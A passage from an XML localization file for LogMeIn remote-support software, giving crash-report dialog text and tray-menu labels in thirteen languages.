al fabricante. Los archivos que contienen la información de diagnóstico
están ubicados en el directorio %SRVDIR\\diag. Estos archivos
se eliminarán después de que el informe se haya enviado correctamente, por lo que si
desea hacer una copia para tenerlo como referencia, hágalo ahora. Los archivos de diagnóstico
contienen uno o más marcas de apilamiento en formato texto y podría
contener un vaciado de memoria Mac del proceso de %PRODUCTNAME que se estaba llevando a cabo en
el momento en el que ocurrió el error. Este vaciado de memoria contiene variables de apilamiento
así como otras informaciones de depuración. Los archivos se enviarán
al fabricante utilizando un canal seguro.</es>
<fr>Veuillez cliquer le bouton de "Rapport" ci-dessous afin de fournir des informations
de diagnostiques au fabricant. Les fichiers contenant l'information de diagnostiques
se trouvent dans le dossier %SRVDIR\\crash directory. Ces fichiers
seront supprimés après que le rapport ait été envoyé avec succès, mais si vous
désirez conserver une copie pour vous, faites-le maintenant. Les fichiers de diagnostiques
contiennent une ou plusieurs quantité de traces au format texte, et peuvent contenir
un dépassement de mémoire Mac du processus de %PRODUCTNAME qui a été notifié
lorsque l'erreur s'est produite. Ce dépassement de mémoire contient des variables pile (stack)
tout comme d'autres informations de débogage. Les fichiers seront soumis
au fabricant à l'aide d'un canal sécurisé.</fr>
<it>Fare clic sul pulsante "Report" sottostante per fornire informazioni di diagnostica al produttore. I file contenenti le informazioni di diagnostica si trovano nella directory %SRVDIR\\diag. Dopo l'invio del report i file verranno eliminati: se si desidera effettuarne una copia per consultazione, è opportuno farlo ora. I file diagnostici contengono una o più analisi dello stack in formato di testo e potrebbero contenere un'immagine della memoria in Mac del processo di %PRODUCTNAME in corso nel momento in cui si è verificato l'errore. Questa immagine della memoria contiene variabili di stack e altre informazioni di debug. I file verranno inviati al produttore mediante un canale sicuro.</it>
<ru>Нажмите расположенную ниже кнопку "Отчет", чтобы предоставить производителю диагностическую информацию. Файлы с диагностической информацией находятся в каталоге %SRVDIR\\diag. Эти файлы будут удалены после успешной отправки отчета. Поэтому если хотите сделать копию для себя, делайте это сейчас. Диагностические файлы содержат один или несколько записей изменений стека в текстовом формате и, возможно, содержат дамп памяти Mac процесса %PRODUCTNAME, который был снят при возникновении ошибки. Этот дамп памяти содержит переменные стека, а также другую отладочную информацию. Файлы будут отправлены производителю по безопасному каналу.</ru>
<ja>以下の [レポート] ボタンをクリックして、開発元に診断情報をお知らせください。診断情報を格納するファイルは、%SRVDIR\\diag ディレクトリにあります。 レポートの送信が成功するとこれらのファイルは削除されます。したがって、参照用にコピーを作成する場合は今すぐ作成してください。 診断ファイルには、テキスト形式のスタック トレースが含まれ、さらにエラー発生時に実行された %PRODUCTNAME プロセスの Mac メモリ ダンプが含まれる場合もあります。 このメモリ ダンプには、スタック変数とその他のデバッグ情報が含まれます。ファイルは安全なチャネルを使用して開発元に送信されます。</ja>
<zh>请单击下面的“报告”按钮,将诊断信息提供给制造商。包含诊断信息的文件位于 %SRVDIR\\diag 目录中。成功发送报告后,系统将删除这些文件,因此,如果您要复制一份作为参考,请马上复制。诊断文件以文本格式包含一个或多个堆栈跟踪,并且可能包含发生错误时取得的 %PRODUCTNAME 进程的 Mac 内存转储。此内存转储包含堆栈变量和其他调试信息。文件将通过安全通道提交给制造商。</zh>
<ko>아래 "보고서" 버튼을 클릭하여 제조업체에 진단 정보를 제공하십시오. 진단 정보가 들어 있는 파일은 %SRVDIR\\diag 디렉터리에 있습니다. 보고서를 보낸 후에 해당 파일은 삭제되므로 참조를 위해 복사본을 만들려면 지금 하십시오. 진단 파일은 하나 이상의 스택 추적을 텍스트 형식으로 포함하고 오류가 발생했을 때 사용된 %PRODUCTNAME 프로세스의 Mac 메모리 덤프를 포함할 수 있습니다. 이 메모리 덤프는 스택 변수와 기타 디버깅 정보를 포함합니다. 파일은 보안 채널을 사용하여 제조업체로 제출됩니다.</ko>
<en-gb>Please click the "Report" button below to provide diagnostic information to the manufacturer. The files containing the diagnostic information are located in the %SRVDIR\\diag directory. These files will be deleted after the report has been successfully sent, so if you want to make a copy for your reference, do it now. The diagnostic files contain one or more stack traces in text format and might contain a Mac memory dump of the %PRODUCTNAME process that was taken at the time the error occurred. This memory dump contains stack variables as well as other debugging information. The files will be submitted to the manufacturer using a secure channel.</en-gb>
<hu>Kérem, kattintson a "Jelentés" gombra, hogy diagnosztikai 
információt nyújtson a gyártónak. A diagnosztikai információt tartalmazó
fájlok a %SRVDIR\\diag könyvtárban találhatók. Ezek a fájlok
törlődnek, ha a jelentést sikeresen elküldték, így, ha másolatot
kíván készíteni saját célra, akkor tegye meg azt most. A diagnosztikai 
fájlok egy vagy több veremkiíratást tartalmaznak szöveges formában, és
Mac memória-kiíratást is tartalmazhatnak a(z)  %PRODUCTNAME folyamatról, amely
a hiba előfordulásának idején készült. Ez a memória-kiíratás veremváltozókat
valamint más hibakeresési információt is tartalmaz. A fájlok a gyártónak kerülnek
elküldésre egy biztonságos csatornán keresztül.</hu>
<pt-br>Clique no botão "Relatório" a seguir para fornecer informações de diagnóstico
para o fabricante. Os arquivos que contêm as informações de diagnóstico
estão localizados no diretório %SRVDIR\\diag. Esses arquivos
serão excluídos depois que o relatório for enviado com êxito; portanto, se você
quiser fazer uma cópia para sua referência, faça isso agora. Os arquivos de diagnóstico
contêm um ou mais rastreamentos de pilha em formato de texto e podem
conter um despejo de memória do processo do %PRODUCTNAME que ocorreu no
momento do erro. Esse despejo de memória contém variáveis de pilha
assim como outras informações de depuração. Os arquivos serão enviados
para o fabricante através de um canal seguro.</pt-br>
<nl>Klik hieronder op de knop "Rapport verzenden" om de gegevens van de analyse naar de fabrikant van de software te verzenden. De bestanden waarin de analysegegevens zijn opgeslagen, bevinden zich in de map %SRVDIR\\diag . Deze bestanden worden verwijderd nadat het rapport is verzonden; als u voor eigen gebruik hiervan een kopie wilt maken, moet u dat nu doen. De analysebestanden bevatten een of meer stack-traces in normale tekstindeling en mogelijk ook een geheugendump uit het Mac-geheugen van het %PRODUCTNAME-proces die werd gemaakt op het moment dat de fout is opgetreden. Deze geheugendump bevat de stackvariabelen en andere informatie voor foutopsporing. De bestanden zullen via een beveiligd communicatiekanaal naar de fabrikant worden verzonden.</nl>
</msg>
<msg name="DELETE">
<en>Clear</en>
<de>Löschen</de>
<es>Limpiar</es>
<fr>Vider</fr>
<it>Cancella</it>
<ru>Очистить</ru>
<ja>消去</ja>
<zh>清除</zh>
<ko>지우기</ko>
<en-gb>Clear</en-gb>
<hu>Törlés</hu>
<pt-br>Limpar</pt-br>
<nl>Wissen</nl>
</msg>
<msg name="DELETE.DESC">
<en>If you do not wish to report the software error, please click
the "Clear" button. The diagnostic information %PRODUCTNAME has collected
will be deleted from your hard disk.</en>
<de>Falls Sie den Softwarefehler nicht an den Hersteller berichten wollen, klicken Sie bitte auf die "Löschen". 
Die Diagnose Informationen, die %PRODUCTNAME zusammen-
gestellt hat werden dann von Ihrem Laufwerk entfernt.</de>
<es>Si no desea realizar un informe con el error del programa, haga clic
en el botón "Limpiar". La información de diagnóstico que ha recogido %PRODUCTNAME 
será eliminada de su disco duro.</es>
<fr>Si vous ne souhaitez pas rapporter l'erreur du logiciel, veuillez cliquez svp
le bouton "Vider". L'information de diagnostique notifié par %PRODUCTNAME
sera supprimée de votre disque dur.</fr>
<it>Se non si desidera segnalare l'errore software, fare clic sul pulsante "Cancella". Le informazioni di diagnostica raccolte da %PRODUCTNAME verranno eliminate dal disco rigido.</it>
<ru>Чтобы не сообщать об ошибке в программном обеспечении, нажмите кнопку "Очистить". Диагностическая информация, собранная программой %PRODUCTNAME, будет удалена с жесткого диска.</ru>
<ja>ソフトウェア エラーをレポートしない場合は、[消去] ボタンをクリックしてください。%PRODUCTNAME が収集した診断情報は、ハードディスクから削除されます。</ja>
<zh>如果您不想报告软件错误,请单击“清除”按钮。将从您的硬盘中删除 %PRODUCTNAME 收集到的诊断信息。</zh>
<ko>소프트웨어 오류를 보고하지 않으려면 "지우기" 버튼을 클릭하십시오. %PRODUCTNAME이(가) 수집한 진단 정보는 하드 디스크에서 삭제됩니다.</ko>
<en-gb>If you do not wish to report the software error, please click the "Clear" button. The diagnostic information %PRODUCTNAME has collected will be deleted from your hard disk.</en-gb>
<hu>Ha nem kívánja jelenteni a szoftverhibát, kérem kattintson
a "Törlés" gombra. A %PRODUCTNAME által összegyűjtött diagnosztikai információ 
törlődni fog a merevlemezről.</hu>
<pt-br>Caso não deseje relatar o erro de software, clique no
botão "Limpar". As informações de diagnóstico que o %PRODUCTNAME coletou
serão excluídas do disco rígido.</pt-br>
<nl>Als u geen rapport voor de softwarefout wilt verzenden, klikt u op de knop "Wissen". De analysegegevens die door %PRODUCTNAME zijn verzameld, worden dan van uw harde schijf verwijderd.</nl>
</msg>
<msg name="IGNORE">
<en>Ignore</en>
<de>Ignorieren</de>
<es>Ignorar</es>
<fr>Ignorer</fr>
<it>Ignora</it>
<ru>Игнорировать</ru>
<ja>無視</ja>
<zh>忽略</zh>
<ko>무시</ko>
<en-gb>Ignore</en-gb>
<hu>Mellőzés</hu>
<pt-br>Ignorar</pt-br>
<nl>Negeren</nl>
</msg>
<msg name="IGNORE.DESC">
<en>Click the ignore button if you don't want to deal with this now.
You'll be reminded of the problem later.</en>
<de>Klicken Sie auf die "Ignorieren", wenn Sie sich damit jetzt nicht auseinandersetzen wollen.
Sie werden dann später erneut auf das Problem aufmerksam gemacht.</de>
<es>Haga clic en el botón "Ignorar" si no desea encargarse de ello ahora.
Se le recordará el problema más tarde.</es>
<fr>Cliquez le bouton "Ignorer" si vous ne voulez pas traiter ceci maintenant.
Vous serez averti à nouveau du problème plus tard.</fr>
<it>Fare clic sul pulsante Ignora se non si desidera affrontare il problema adesso.
Un promemoria del problema verrà visualizzato in seguito.</it>
<ru>Нажмите кнопку "Пропустить", чтобы не делать этого сейчас.
Позднее появится напоминание о данной проблеме.</ru>
<ja>今すぐこれを処理しない場合は、[無視] ボタンをクリックします。この問題について後で再通知されます。</ja>
<zh>如果您不想马上处理此问题,请单击“忽略”按钮。
系统会稍后提醒您处理该问题。</zh>
<ko>지금 이 작업을 수행하지 않으려면 "무시" 버튼을 클릭하십시오. 나중에 문제에 대한 다시 알림 창이 나타납니다.</ko>
<en-gb>Click the ignore button if you don't want to deal with this now.
You'll be reminded of the problem later.</en-gb>
<hu>Kattintson a Mellőzés gombra, ha most nem kíván ezzel foglalkozni.
A program később ismét emlékeztetni fogja erre a problémára.</hu>
<pt-br>Clique no botão Ignorar caso não deseje lidar com isso agora.
Você será lembrado do problema mais tarde.</pt-br>
<nl>Klik op de knop Negeren als u dit nu niet wilt doen. U krijgt dan later een herinnering voor dit probleem.</nl>
</msg>
<msg name="DETAIL">
<en>Details</en>
<de>Details</de>
<es>Detalles</es>
<fr>Détails</fr>
<it>Dettagli</it>
<ru>Подробности</ru>
<ja>詳細</ja>
<zh>详情</zh>
<ko>세부사항</ko>
<en-gb>Details</en-gb>
<hu>Részletek</hu>
<pt-br>Detalhes</pt-br>
<nl>Detailgegevens</nl>
</msg>
<msg name="DETAIL.HEAD">
<en>The following diagnostic information was collected</en>
<de>Die folgenden Diagnoseinformationen wurden zusammengestellt</de>
<es>Se ha recopilado la siguiente información de diagnóstico</es>
<fr>L'information de diagnostique suivante a été relevée</fr>
<it>Sono state raccolte le seguenti informazioni di diagnostica</it>
<ru>Была собрана следующая диагностическая информация</ru>
<ja>次の診断情報が収集されました</ja>
<zh>收集了以下诊断信息</zh>
<ko>다음 진단 정보가 수집되었습니다.</ko>
<en-gb>The following diagnostic information was collected</en-gb>
<hu>A következő diagnosztikai információ került kigyűjtésre</hu>
<pt-br>As seguintes informações de diagnóstico foram coletadas</pt-br>
<nl>De volgende analysegegevens werden verzameld</nl>
</msg>
<msg name="EMAIL">
<en>Email address</en>
<de>Emailadresse</de>
<es>Dirección de correo electrónico</es>
<fr>Adresse Email</fr>
<it>Indirizzo e-mail</it>
<ru>Адрес электронной почты</ru>
<ja>電子メール アドレス</ja>
<zh>电子邮件地址</zh>
<ko>전자 메일 주소</ko>
<en-gb>E-mail address</en-gb>
<hu>E-mail cím</hu>
<pt-br>Endereço de email</pt-br>
<nl>E-mailadres</nl>
</msg>
<msg name="EMAIL.DESC">
<en>Please enter your email address so that the manufacturer can contact
you for more information if neccessary or let you know when the problem is
fixed. Leave the field blank if you feel uncomfortable providing your
email address.</en>
<de>Bitte geben Sie Ihre Emailkennung ein, damit Sie der Hersteller erforderlichenfalls kontaktieren kann um das 
Fehlerumfeld zu erörtern und um Sie zu informieren, wenn das Problem behoben
wurde. Lassen Sie das Feld leer, wenn Sie Ihre Emailkennung aus persönlichen 
Gründen nicht weitergeben möchten.</de>
<es>Introduzca su dirección de correo electrónico para que el fabricante pueda ponerse en contacto
con usted para, en caso necesario, obtener más información o hacerle saber cuándo se soluciona
el problema. Deje el campo en blanco si no desea dar 
la dirección de correo electrónico</es>
<fr>Veuillez écrire votre adresse email de sorte que le fabricant puisse vous contacter
pour vous fournir si nécessaire davantage d'information ou vous informer si le problème est résolu.
Laissez le champ vide si vous ne désirez pas transmettre votre adresse email.</fr>
<it>Immettere l'indirizzo e-mail per poter essere contattati, se necessario, dal produttore per ulteriori informazioni o essere avvisati quando viene risolto il problema. Lasciare vuoto il campo se non si desidera fornire il proprio indirizzo e-mail.</it>
<ru>Укажите адрес своей электронной почты, чтобы производитель при необходимости мог связаться с вами, чтобы получить дополнительную информацию или сообщить об устранении данной проблемы. Оставьте поле пустым, если не хотите предоставлять адрес своей электронной почты.</ru>
<ja>開発元より、必要な場合は詳細をお尋ねしたり、問題が修正されたことをお知らせしたりできるように電子メール アドレスを入力してください。電子メール アドレスを知らせたくない場合は、このフィールドは空欄のままで結構です。</ja>
<zh>请输入您的电子邮件地址,以便制造商在必要时与您联络了解更多信息,或在解决问题后通知您。如果您感觉不便提供电子邮件地址,请保留该字段空白。</zh>
<ko>필요에 따라 자세한 정보를 얻거나 문제가 해결되면 알려줄 수 있도록 제조업체에서 연락 가능한 전자 메일 주소를 입력하십시오. 전자 메일 주소를 제공하지 않으려면 이 필드를 비워 두십시오.</ko>
<en-gb>Please enter your email address so that the manufacturer can contact you for more information if neccessary or let you know when the problem is fixed. Leave the field blank if you feel uncomfortable providing your e-mail address.</en-gb>
<hu>Kérem, írja be e-mail címét, hogy a gyártó felvehesse Önnel a kapcsolatot
további információkért, amennyiben erre szükség van, vagy tudathassa Önnel, ha a
problémát megoldották. Hagyja üresen ezt a mezőt, ha kényelmetlennek érzi e-mail 
címének megadását.</hu>
<pt-br>Digite seu endereço de email para que o fabricante possa entrar em contato com
você para obter mais informações se necessário ou avisá-lo quando o problema estiver
resolvido. Deixe o campo em branco caso não se sinta à vontade para fornecer seu
endereço de email.</pt-br>
<nl>Voer uw e-mailadres in zodat de fabrikant indien nodig contact met u kan opnemen voor meer informatie of u kan melden wanneer dit probleem is opgelost. Vul in dit veld niets in als u uw e-mailadres niet wilt verstrekken.</nl>
</msg>
</cat>
<!-- RAGUI messages -->
<!-- do not use variables (%blabla), whitespaces, newlines between language tags -->
<!-- &amp; is to be put before keyboard shortcuts in menu items -->
<cat name="RAGUI">
<msg name="DISCONNECTSESSION">
<en>Disconnect Session</en>
<de>Sitzung trennen</de>
<es>Desconectar sesión</es>
<fr>Déconnecter la session</fr>
<it>Disconnetti sessione</it>
<ru>Разъединить сеанс</ru>
<ja>セッションを切断</ja>
<zh>断开会话</zh>
<ko>세션 연결 해제</ko>
<en-gb>Disconnect Session</en-gb>
<hu>Munkamenet megszakítása</hu>
<pt-br>Desconectar-se da sessão</pt-br>
<nl>Verbinding van sessie verbreken</nl>
</msg>
<msg name="CLOSE">
<en>&amp;Close</en>
<de>S&amp;chließen</de>
<es>&amp;Cerrar</es>
<fr>&amp;Fermer</fr>
<it>&amp;Chiudi</it>
<ru>&amp;Закрыть</ru>
<ja>閉じる(&amp;C)</ja>
<zh>关闭(&amp;C)</zh>
<ko>닫기(&amp;C)</ko>
<en-gb>&amp;Close</en-gb>
<hu>&amp;Bezárás</hu>
<pt-br>&amp;Fechar</pt-br>
<nl>&amp;Sluiten</nl>
</msg>
<msg name="OK">
<en>&amp;OK</en>
<de>&amp;OK</de>
<es>&amp;Aceptar</es>
<fr>&amp;OK</fr>
<it>&amp;OK</it>
<ru>&amp;OK</ru>
<ja>OK(&amp;O)</ja>
<zh>确定(&amp;O)</zh>
<ko>확인(&amp;O)</ko>
<en-gb>&amp;OK</en-gb>
<hu>&amp;OK</hu>
<pt-br>&amp;OK</pt-br>
<nl>&amp;OK</nl>
</msg>
<msg name="CANCEL">
<en>&amp;Cancel</en>
<de>&amp;Abbrechen</de>
<es>&amp;Cancelar</es>
<fr>&amp;Annuler</fr>
<it>&amp;Annulla</it>
<ru>&amp;Отмена</ru>
<ja>取り消し(&amp;C)</ja>
<zh>取消(&amp;C)</zh>
<ko>취소(&amp;C)</ko>
<en-gb>&amp;Cancel</en-gb>
<hu>&amp;Mégse</hu>
<pt-br>&amp;Cancelar</pt-br>
<nl>&amp;Annuleren</nl>
</msg>
<!-- system tray menu -->
<msg name="OPEN">
<en>&amp;Open Status Window...</en>
<de>Statusfenster öffnen</de>
<es>&amp;Abrir ventana de estado...</es>
<fr>&amp;Ouvrir la Fenêtre Statut</fr>
<it>&amp;Apri finestra stato...</it>
<ru>&amp;Открыть окно состояния...</ru>
<ja>ステータス ウィンドウを開く(amp;O)</ja>
<zh>打开状态窗口(&amp;O)...</zh>
<ko>상태 창 열기(&amp;O)...</ko>
<en-gb>&amp;Open Status Window...</en-gb>
<hu>&amp;Állapotablak megnyitása...</hu>
<pt-br>&amp;Abrir janela de status...</pt-br>
<nl>S&amp;tatusvenster weergeven...</nl>
</msg>
<msg name="OPEN.RA">
<en>Open %PRODUCTNAME &amp;Web Interface</en>
<de>%PRODUCTNAME &amp;Weboberfläche öffnen</de>
<es>Abrir interfaz web de %PRODUCTNAME &amp;</es>
<fr>Ouvrir %PRODUCTNAME &amp; et l'interface Internet</fr>
<it>Apri interfaccia &amp;Web di %PRODUCTNAME</it>
<ru>Открыть &amp;веб-интерфейс %PRODUCTNAME</ru>
<ja>%PRODUCTNAME Web インターフェイスを開く(&amp;W)</ja>
<zh>打开 %PRODUCTNAME Web 界面(&amp;W)</zh>
<ko>%PRODUCTNAME 웹 인터페이스 열기(&amp;W)</ko>
<en-gb>Open %PRODUCTNAME &amp;Web Interface</en-gb>
<hu>%PRODUCTNAME &amp;webes felület megnyitása</hu>
<pt-br>Abrir &amp;interface da web do %PRODUCTNAME</pt-br>
<nl>&amp;Webinterface van %PRODUCTNAME openen</nl>
</msg>
<msg name="SELFDEST">
<en>End your LogMeIn Support Session and remove app</en>
<de>LogMeIn-Supportsoftware beenden und App entfernen</de>
<es>Finalizar Sesión de asistencia técnica de LogMeIn y eliminar la aplicación</es>
<fr>Terminer la session d'assistance LogMeIn et supprimer l'app</fr>
<it>Termina la sessione di supporto LogMeIn e rimuovi l'app</it>
<ru>Завершить сеанс поддержки LogMeIn и удалить приложение</ru>
<ja>LogMeIn サポート セッションを終了してアプリを削除する</ja>
<zh>结束您的 LogMeIn 支持会话并移除应用程序</zh>
<ko>LogMeIn 지원 세션을 종료하고 애플리케이션 제거하기</ko>
<en-gb>End your LogMeIn Support Session and remove app</en-gb>
<hu>A LogMeIn támogatási munkamenet befejezése és az alkalmazás eltávolítása</hu>
<pt-br>Encerrar sua sessão de suporte do LogMeIn e remover aplicativo</pt-br>
<nl>LogMeIn-ondersteuningssessie beëindigen en app verwijderen</nl>
</msg>
<msg name="OPEN.GUI">
<en>Open &amp;%PRODUCTNAME...</en>
<de>%PRODUCTNAME ö&amp;ffnen</de>
<es>Abrir &amp;%PRODUCTNAME...</es>
<fr>Ouvrir %PRODUCTNAME</fr>
<it>Apri &amp;%PRODUCTNAME...</it>
<ru>Открыть &amp;%PRODUCTNAME...</ru>
<ja>&amp;%PRODUCTNAME を開く...</ja>
<zh>打开 &amp;%PRODUCTNAME...</zh>
<ko>%PRODUCTNAME 열기(&amp;L)...</ko>
<en-gb>Open &amp;%PRODUCTNAME...</en-gb>
<hu>&amp;%PRODUCTNAME megnyitása...</hu>
<pt-br>Abrir &amp;%PRODUCTNAME...</pt-br>
<nl>&amp;%PRODUCTNAME openen...</nl>
</msg>
<msg name="OPEN.GUI" brand="LMI">
<en>&amp;%PRODUCTNAME Control Panel</en>
<es>Panel de control de %PRODUCTNAME</es>
<de>%PRODUCTNAME-Hostoberfläche</de>
<fr>Panneau de contrôle %PRODUCTNAME</fr>
<it>Pannello di controllo di %PRODUCTNAME</it>
<nl>Configuratiescherm van %PRODUCTNAME</nl>
<pt-br>Painel de controle do %PRODUCTNAME</pt-br>
<hu>%PRODUCTNAME Vezérlőpult</hu>
<ru>Панель управления %PRODUCTNAME</ru>
<ja>%PRODUCTNAME コントロール パネル</ja>
<ko>%PRODUCTNAME 제어판</ko>
<zh>%PRODUCTNAME 控制面板</zh>
<en-gb>&amp;%PRODUCTNAME Control Panel</en-gb>
</msg>
<msg name="COMP.USERNAME">
<en>Username for this computer</en>
<de>Benutzername auf diesem Computer</de>
<es>Nombre de usuario de este ordenador</es>
<fr>Nom d'utilisateur pour cet ordinateur</fr>
<it>Nome utente per questo computer</it>
<ru>Имя пользователя данного компьютера</ru>
<ja>このコンピューターのユーザー名</ja>
<zh>此计算机的用户名</zh>
<ko>이 컴퓨터의 사용자 이름</ko>
<en-gb>Username for this computer</en-gb>
<hu>A számítógéphez tartozó felhasználónév</hu>
<pt-br>Nome do usuário para este computador</pt-br>
<nl>Gebruikersnaam voor deze computer</nl>
</msg>
<msg name="CONNECTTOCOMPUTERS">
<en>Connect to computers</en>
<es>Conexión a ordenadores</es>
<de>Mit Computern verbinden</de>
<fr>Connexion aux ordinateurs</fr>
<it>Connetti ai computer</it>
<nl>Verbinding maken met computers</nl>
<pt-br>Conectar-se a computadores</pt-br>
<hu>Csatlakozás számítógépekhez</hu>
<ru>Подключение к компьютерам</ru>
<ja>コンピュータへの接続</ja>
<ko>컴퓨터에 연결</ko>
<zh>连接计算机</zh>
<en-gb>Connect to computers</en-gb>
</msg>
<msg name="ENABLE.RA">
<en>Switch &amp;on %PRODUCTNAME</en>
<es>&amp;Activar %PRODUCTNAME</es>
<de>%PRODUCTNAME &amp;aktivieren</de>
<fr>&amp;Activer %PRODUCTNAME</fr>
<it>&amp;Attiva %PRODUCTNAME</it>
<ru>&amp;Включить %PRODUCTNAME</ru>
<ja>%PRODUCTNAME をオンにする(&amp;O)</ja>
<zh>打开 %PRODUCTNAME(&amp;O)</zh>
<ko>%PRODUCTNAME 켜기(&amp;O)</ko>
<en-gb>Switch &amp;on %PRODUCTNAME</en-gb>
<hu>A %PRODUCTNAME &amp;bekapcsolása</hu>
<pt-br>&amp;Ativar o %PRODUCTNAME</pt-br>
<nl>Schakel %PRODUCTNAME &amp;in</nl>
</msg>
<msg name="ENABLE.RA" brand="LMI">
<en>Switch &amp;on</en>
<es>&amp;Activar</es>
<de>&amp;Einschalten</de>
<fr>&amp;Activer</fr>
<it>&amp;Attiva</it>
<nl>Inschakelen</nl>
<pt-br>&amp;Ligar</pt-br>
<hu>&amp;Bekapcsolás</hu>
<ru>&amp;Включить</ru>
<ja>スイッチ オン(&amp;O)</ja>
<ko>켜기(&amp;O)</ko>
<zh>打开(&amp;O)</zh>
<en-gb>Switch &amp;on</en-gb>
</msg>
<msg name="DISABLE.RA">
<en>Switch o&amp;ff %PRODUCTNAME</en>
<es>&amp;Desactivar %PRODUCTNAME</es>
<de>%PRODUCTNAME &amp;deaktivieren</de>
<fr>Dé&amp;sactiver %PRODUCTNAME</fr>
<it>&amp;Disattiva %PRODUCTNAME</it>
<ru>&amp;Отключить %PRODUCTNAME</ru>
<ja>%PRODUCTNAME をオフにする(&amp;F)</ja>
<zh>关闭 %PRODUCTNAME(&amp;F)</zh>
<ko>%PRODUCTNAME 끄기(&amp;F)</ko>
<en-gb>Switch o&amp;ff %PRODUCTNAME</en-gb>
<hu>A %PRODUCTNAME &amp;kikapcsolása</hu>
<pt-br>&amp;Desativar o %PRODUCTNAME</pt-br>
<nl>Schakel %PRODUCTNAME &amp;uit</nl>
</msg>
<msg name="DISABLE.RA" brand="LMI">
<en>Switch o&amp;ff</en>
<es>&amp;Desactivar</es>
<de>&amp;Ausschalten</de>
<fr>&amp;Désactiver</fr>
<it>&amp;Disattiva</it>
<nl>Uitschakelen</nl>
<pt-br>&amp;Desligar</pt-br>
<hu>K&amp;ikapcsolás</hu>
<ru>&amp;Отключить</ru>
<ja>スイッチ オフ(&amp;F)</ja>
<ko>끄기(&amp;F)</ko>
<zh>关闭(&amp;F)</zh>
<en-gb>Switch o&amp;ff</en-gb>
</msg>
<msg name="GUESTINVITE">
<en>&amp;Share my desktop...</en>
<es>&amp;Compartir mi escritorio...</es>
<de>Desktop &amp;freigeben...</de>
<fr>&amp;Partager mon bureau...</fr>
<it>&amp;Condividi il mio desktop...</it>
<ru>&amp;Совместно использовать мой рабочий стол...</ru>
<ja>マイ デスクトップの共有(&amp;S)...</ja>
<zh>共享我的桌面(&amp;S)...</zh>
<ko>내 데스크톱 공유(&amp;S)...</ko>
<en-gb>&amp;Share my desktop...</en-gb>
<hu>&amp;Képernyő megosztása...</hu>
<pt-br>&amp;Compartilhar minha área de trabalho...</pt-br>
<nl>&amp;Deel mijn bureaublad...</nl>
</msg>
<msg name="FILESHARE">
<en>Share a &amp;file...</en>
<es>Compartir un a&amp;rchivo...</es>
<de>&amp;Datei freigeben...</de>
<fr>Partager un &amp;fichier...</fr>
<it>Condividi un &amp;file...</it>
<ru>Общий доступ к &amp;файлу...</ru>
<ja>ファイルの共有(&amp;F)...</ja>
<zh>共享文件(&amp;F)...</zh>
<ko>파일 공유(&amp;F)...</ko>
<en-gb>Share a &amp;file...</en-gb>
<hu>&amp;Fájl megosztása...</hu>
<pt-br>Compartilhar um ar&amp;quivo...</pt-br>
<nl>Deel een &amp;bestand...</nl>
</msg>
<msg name="CHECKUPDATE">
<en>&amp;Check for Updates...</en>
<de>&amp;Prüfung auf neuere Version...</de>
<es>Bus&amp;car la última versión disponible...</es>
<fr>Vérifi&amp;cation de la version la plus récente...</fr>
<it>&amp;Controlla aggiornamenti...</it>
<ru>&amp;Проверить обновления...</ru>
<ja>更新の確認(&amp;C)...</ja>
<zh>检查是否更新(&amp;C)...</zh>
<ko>업데이트 확인(&amp;C)...</ko>
<en-gb>&amp;Check for Updates...</en-gb>
<hu>&amp;Frissítések keresése...</hu>
<pt-br>&amp;Verificar atualizações...</pt-br>
<nl>&amp;Controleren op updates...</nl>
</msg>
<msg name="TOOLS">
<en>&amp;Tools</en>
<de>&amp;Werkzeug</de>
<es>&amp;Herramientas</es>
<fr>&amp;Outils</fr>
<it>&amp;Strumenti</it>
<ru>&amp;Сервис</ru>
<ja>ツール(&amp;T)</ja>
<zh>工具(&amp;T)</zh>
<ko>도구(&amp;T)</ko>
<en-gb>&amp;Tools</en-gb>
<hu>&amp;Eszközök</hu>
<pt-br>&amp;Ferramentas</pt-br>
<nl>&amp;Hulpprogramma's</nl>
</msg>
<msg name="ENABLE.STATUS">
<en>E&amp;nable Status Indicators</en>
<de>Statusindikatoren &amp;aktivieren</de>
<es>H&amp;abilitar indicadores de estado</es>
<fr>A&amp;ctivé les indicateurs de statut</fr>
<it>A&amp;ttiva indicatori di stato</it>
<ru>&amp;Активировать индикаторы состояния</ru>
<ja>ステータス インジケータを有効にする(&amp;N)</ja>
<zh>启用状态指示灯(&amp;N)</zh>
<ko>상태 표시기 사용(&amp;N)</ko>
<en-gb>E&amp;nable Status Indicators</en-gb>
<hu>Á&amp;llapotjelzők bekapcsolása</hu>
<pt-br>H&amp;abilitar indicadores de status</pt-br>
<nl>Statusindicatoren i&amp;nschakelen</nl>
</msg>
<msg name="DISABLE.STATUS">
<en>D&amp;isable Status Indicators</en>
<de>Statusindikatoren &amp;deaktivieren</de>
<es>D&amp;eshabilitar indicadores de estado</es>
<fr>D&amp;ésactivé les indicateurs de statut</fr>
<it>D&amp;isattiva indicatori di stato</it>
<ru>&amp;Отключить индикаторы состояния</ru>
<ja>ステータス インジケータを無効にする(&amp;I)</ja>
<zh>禁用状态指示灯(&amp;I)</zh>
<ko>상태 표시기 사용 안 함(&amp;I)</ko>
<en-gb>D&amp;isable Status Indicators</en-gb>
<hu>Álla&amp;potjelzők kikapcsolása</hu>
<pt-br>H&amp;abilitar indicadores de status</pt-br>
<nl>Statusindicatoren u&amp;itschakelen</nl>
</msg>
<msg name="RCRECCONVERT">
<en>&amp;Convert Remote Control Recordings...</en>
<es>&amp;Convertir grabaciones de Control Remoto...</es>
<fr>&amp;Convertir les Enregistrements du Contrôle Distant...</fr>
<de>&amp;Remoteüberwachungsaufzeichnungen konvertieren</de>
<it>Converti registra&amp;zioni di Controllo remoto...</it>
<ru>&amp;Преобразовать записи сеанса удаленного управления</ru>
<ja>リモート制御記録の変換(&amp;C)</ja>
<zh>转换远程控制记录(&amp;C)...</zh>
<ko>원격 제어 기록 변환(&amp;C)...</ko>
<en-gb>&amp;Convert Remote Control Recordings...</en-gb>
<hu>Távvezérlési rögzített anyagok &amp; konvertálása...</hu>
<pt-br>&amp;Converter gravações de controle remoto...</pt-br>
<nl>Opnamen van besturing op afstand &amp;converteren...</nl>
</msg>
<msg name="COMPUTERPWD">
<en>Change Computer &amp;Password...</en>
<es>Cambiar&amp;clave del ordenador...</es>
<fr>Changer le &amp;Mot de passe de l'ordinateur</fr>
<de>&amp;Computerkennwort ändern...</de>
<it>Cambia &amp;password computer...</it>
<ru>Изменить &amp;пароль компьютера...</ru>
<ja>コンピュータ パスワードの変更(&amp;P)...</ja>
<zh>更改计算机密码(&amp;P)...</zh>
<ko>컴퓨터 암호 변경(&amp;P)...</ko>
